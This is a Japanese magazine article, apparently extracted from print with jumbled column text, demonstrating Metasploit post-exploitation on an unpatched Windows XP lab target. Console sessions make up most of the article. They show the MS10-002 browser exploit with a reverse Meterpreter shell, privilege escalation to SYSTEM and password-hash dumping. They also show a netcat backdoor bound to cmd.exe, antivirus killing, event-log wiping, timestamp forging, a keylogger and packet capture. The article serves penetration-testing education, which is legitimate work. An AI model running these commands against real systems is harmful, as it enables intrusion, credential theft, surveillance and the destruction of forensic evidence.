コマンドを取得

ターゲットマシンを自在に操る
Metasploitによる
Post-Exploitation
ターゲットに侵入することがゴールではない。
侵入してから何をするのか? が重要だ。こ
こではMeterpreterというペイロードを使い、
ターゲットのマシンの権限を奪った後にいっ
たいどんなことができるのか紹介したい。
Metasploitで侵入した後に
文●北河拓士
成しない。Exploit したプロセスから既存の他の
プロセスに乗り移ることが可能。メモリ上のみで
攻撃者(ペネトレーション・テスター)にとって
実行されディスクにアクセスしない。TLSv1 での
ターゲットシステムを Exploit( コマンドシェルを
暗号化された通信を使用。初期状態では最低限
奪取)することが最終目的ではない。Metasploit
の機能のみが送り込まれ、他の機能は必要に応
開発チームの1人 Carlos Perez 氏の言葉を借りれ
じてネットワークからロードされる、などだ。また、
ば ”Shell is Only the Beginning”「シェルは始ま
権限昇格、ファイルのアップロード・ダウンロード、
りに過ぎない」のである。
プログラムの実行、パスワード・ハッシュの取得、
Exploit を 成 功 さ せ た 後 の 行 動 は Post-
スクリーンキャプチャー、キーロガー、パケットス
Exploitation と呼ばれ、Metasploit においては
ニッファー、WebCam での録画、マイクでの録音、
Meterpreter というペイロードによって実現され
イベントログの削除、ファイルのタイムスタンプ
ている。Meterpreter は以下のような特 徴を持
改ざんなど多数の機能を持ち、スクリプトによる
つ。Exploit したプロセスに自身を DLL としてイ
カスタマイズも可能だ。
ンジェクションすることにより新しいプロセスを作
Meterpreterを使ってターゲットマシンを自由自在に操る
実際に Meterpreter による Post-Exploitation
とし、ブラウザーの脆弱性を利用した受動的攻
を見ていこう。今回はターゲットを Windows XP
撃を仕掛けることとする※。
1
msf > use exploit/windows/browser/ms10 _ 002 _ aurora
msf exploit(ms10 _ 002 _ aurora) > set PAYLOAD
windows/meterpreter/reverse _ tcp
PAYLOAD => windows/meterpreter/reverse _ tcp
msf exploit(ms10 _ 002 _ aurora) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(ms10 _ 002 _ aurora) > exploit
[*] Exploit running as background job.
← Exploit の指定
←ペイロードの指定
←ローカルホストの指定
← Exploit の指定
[*] Started reverse handler on 192.168.0.1:4444
[*] Using URL: http://0.0.0.0:8080/r0uYO21c0V
[*] Local IP: http://127.0.0.1:8080/r0uYO21c0V
[*] Server started.
←ターゲットホストの IE6 で URL にアクセス
msf exploit(ms10 _ 002 _ aurora) > [*] Sending Internet Explorer "Aurora"
Memory Corruption to client 192.168.0.3
146
※ パッチを適用していない Windows XP SP3、ブラウザーは IE6 を使用している
PART
2 攻撃コード実行 の
[*] Sending stage (749056 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.1:4444 ->
192.168.0.3:1034) at Tue Dec 28 19:32:54 +0900 2010
msf exploit(ms10 _ 002 _ aurora) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
←セッションをインタラクティブに
まず Exploit として Google への攻撃(オーロラ攻撃)にも使用された IE6 の脆弱性(MS10-002)を用い、
Meterpreter のシェルを獲得する
2
3
meterpreter > help
←ヘルプの出力
Core Commands
=============
Command
Description
----------------Help menu
background
Backgrounds the current session
(以下略)
help コマンドでコマンドの一覧と
概要が表示される。すべてのコマ
ンドを誌面で紹介することはできな
いので、help を参照してどのよう
なコマンドがあるかをチェックして
ほしい
meterpreter > sysinfo
←システム情報取得
Computer VICTIM
OS
Windows XP (Build 2600, Service Pack 3).
Arch
x86
Language ja_JP
meterpreter > ipconfig
←ネットワーク情報取得
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask
: 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - パケット スケジューラ ミニポート
Hardware MAC: 00:0c:29:75:7a:d5
IP Address : 192.168.0.3
Netmask
: 255.255.255.0
sysinfo コマンドで、ターゲットの OS などのシステム情報を取得、
ipconfig コマンドでネットワーク・インター
フェイス情報を知ることができる
4
meterpreter > ps
←プロセス一覧取得
Process list
============
PID Name
Arch Session User
Path
--- ------- ------- ------0
[System Process]
(中略)
1692 explorer.exe
x86
0
VICTIMsuzuki C:¥WINDOWS¥Explorer.EXE
((中略))
716 IEXPLORE.EXE
x86 0
VICTIMsuzuki C:¥Program Files¥Internet Explorer¥iexplore.exe
←プロセス ID の確認 IEXPLORE.EXE
meterpreter > getpid
Current pid 716
meterpreter > migrate 1692 ← explorer.exe にプロセスを乗り移る
[*] Migrating to 1692...
[*] Migration completed successfully.
←プロセス ID の確認 explorer.exe のプロセス ID に変わった
meterpreter > getpid
Current pid 1692
IE の脆弱性を用いた Exploit を使用したため Meterpreter は IE のプロセスにインジェクションされている。
このままではユーザーがもし IE を終了させたらセッションが切断されてしまうので、別の安定したプロセス
に乗り移ることとする。getpid で自身の pid を確認、ps コマンドでプロセスの一覧を取得し、乗り移る先
のプロセス(explorer.exe)の pid を確認する。migrate コマンドで乗り移る pid を指定した後、再度 pid
を確認すると IE から explorer.exe への乗り移りが成功したことがわかる
147
5
meterpreter > getuid
←ユーザーの確認
Server username VICTIMsuzuki
meterpreter > getprivs
←有効な特権の確認
============================================================
Enabled Process Privileges
============================================================
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
getuid でプロセスのユーザー、getpriv で現在有効な特権を確認すると現在のユーザーが制限ユーザーで
あることがわかる。制限ユーザーではできることが限られるため、より高い権限に権限昇格を試みる
6
meterpreter > getsystem
←権限昇格 オプションなしでは複数の方法を試行する
...got system (via technique 4).
meterpreter > getuid
←ユーザーの確認
Server username NT AUTHORITYSYSTEM
meterpreter > getprivs
←有効な特権の確認
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
(以下略)
複数の権限昇格方法を試行してくれる getsystem コマンドにより権限昇格を行う。コマンドが成功した後、
ユーザーおよび特権を確認すると SYSTEM に権限昇格したことがわかる
7
meterpreter > hashdump
←パスワードハッシュの取得
Administrator:500:9ca6432f402b3e4726f8092a33daaf05:0110adc3eadbdcedbfa8496e6f6df5a0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
(以下略)
SYSTEM 権限が取得できたため hashdump コマンドによりパスワード・ハッシュの取得を行う。手に入れ
たパスワード・ハッシュは John the Ripper などを用いて解析を行う
8
meterpreter > cd c:¥
meterpreter > download boot.ini
[*] downloading: boot.ini -> boot.ini
[*] downloaded : boot.ini -> boot.ini
meterpreter > upload eicar.com
[*] uploading : eicar.com -> eicar.com
[*] uploaded
: eicar.com -> eicar.com
meterpreter > timestomp eicar.com -z "01/01/2005 00:00:00"
01/01/2005 00:00:00
[*] Setting specific MACE attributes on eicar.com
←カレントディレクトリの変更
←ファイルのダウンロード
←ファイルのアップロード
←ファイルのタイムスタンプ変更
ファイルのダウンロード、アップロードを行う。また、timestomp コマンドによりアップロードしたファイ
ルのタイムスタンプを変更する
9
meterpreter > shell
Process 1428 created.
Channel 7 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
Windows のコマンドプロンプトを起動するには shell コマンドを用いる
148
←コマンドプロンプトの起動
PART
10
2 攻撃コード実行 の
meterpreter > upload nc.exe
← netcat のアップロード
[*] uploading : nc.exe -> nc.exe
[*] uploaded
: nc.exe -> nc.exe
meterpreter > execute -f "nc.exe -l -p 8443 -e cmd.exe -d” -H ↑ netcat をバックドアとして起動
Process 1800 created.
execute コマンドで任意のプログラムを起動することができる。ここでは netcat をアップロードしバックド
アとして起動する
11
meterpreter > screenshot
←スクリーンショットの取得
Screenshot saved to optmetasploit3msf3datamaCGHBZA.jpeg
screenshot コマンドでスクリーンショットを取得する。Metasploit を実行しているマシンで自動的にブラウ
ザーが起動され jpeg ファイルが表示される
12
13
14
meterpreter > clearev
←イベントログの削除
[*] Wiping 333 records from Application...
[*] Wiping 552 records from System...
[*] Wiping 16 records from Security...
meterpreter > run
run arp _ scanner
(以下略)
←スクリーンショットの取得
run multi _ meter _ inject
clearev コマンドでイベントログの削除
を行う
run と入 力し Tab を 3 回 押すと実 行可
能 な Meterpreter スクリプトの 一 覧 が
表示される
meterpreter > run checkvm
←仮想環境かをチェックする
[*] Checking if target is a Virtual Machine .....
[*] This is a VMware Virtual Machine
←アンチウイルスを停止する
meterpreter > run killav
[*] Killing Antivirus services on the target...
←リモートデスクトップを有効にする
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos _ perez@darkoperator.com
[*] Enabling Remote Desktop
[*]
RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*]
The Terminal Services service is not set to auto, changing it to auto ...
[*]
Opening port in local firewall if necessary
[*] For cleanup use command: run multi _ console _ command -rc /root/.msf3/logs/scripts/getgui/clean _
up _ _ 20101231.1118.rc
←キーロガーの実行
meterpreter > run keylogrecorder
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.0.3 _ 20101231.1138.txt
[*] Recording
^C[*] Saving last few keystrokes
[*] Interrupt
[*] Stopping keystroke sniffer...
←パケットキャプチャーの実行
meterpreter > run packetrecorder -i 1 [*] Starting Packet capture on interface 1
[+] Packet capture started
[*] Packets being saved in to /root/.msf3/logs/scripts/packetrecorder/VICTIM _ 20101231.1224/
VICTIM _ 20101231.1224.cap
[*] Packet capture interval is 30 Seconds
^C
[*] Interrupt
[+] Stopping Packet sniffer...
meterpreter >
非常に多くのスクリプトが提供されているのですべては紹介できないが、これはその一部だ。あらかじめ用
意されているスクリプトを実行するだけでなく、自分でカスタムのスクリプトを作成することも可能だ
149